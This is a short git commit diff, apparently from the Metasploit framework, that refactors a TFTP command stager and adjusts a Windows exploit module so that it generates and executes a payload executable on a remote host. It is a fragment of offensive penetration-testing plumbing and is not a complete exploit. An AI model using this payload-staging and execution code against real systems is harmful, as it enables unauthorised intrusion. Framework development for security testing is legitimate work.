Missed another
parent
e54442af36
commit
cd0dbc0e24
|
@ -31,14 +31,15 @@ class CmdStagerTFTP < CmdStagerBase
|
|||
end
|
||||
|
||||
def setup(mod)
|
||||
tftp = Rex::Proto::TFTP::Server.new
|
||||
tftp.register_file(Rex::Text.rand_text_alphanumeric(8), exe)
|
||||
tftp.start
|
||||
mod.add_socket(tftp) # Hating myself for doing it... but it's just a first demo
|
||||
self.tftp = Rex::Proto::TFTP::Server.new
|
||||
self.tftp.register_file(Rex::Text.rand_text_alphanumeric(8), exe)
|
||||
self.tftp.start
|
||||
mod.add_socket(self.tftp) # Hating myself for doing it... but it's just a first demo
|
||||
end
|
||||
|
||||
def teardown(mod = nil)
|
||||
tftp.stop
|
||||
puts self.tftp.inspect
|
||||
self.tftp.stop
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -10,6 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -91,7 +92,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def windows_stager
|
||||
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
|
||||
execute_cmdstager({ :temp => '.' })
|
||||
@payload_exe = payload_exe
|
||||
@payload_exe = generate_payload_exe
|
||||
|
||||
print_status("Attempting to execute the payload...")
|
||||
execute_command(@payload_exe)
|
||||
|
|
Loading…
Reference in New Issue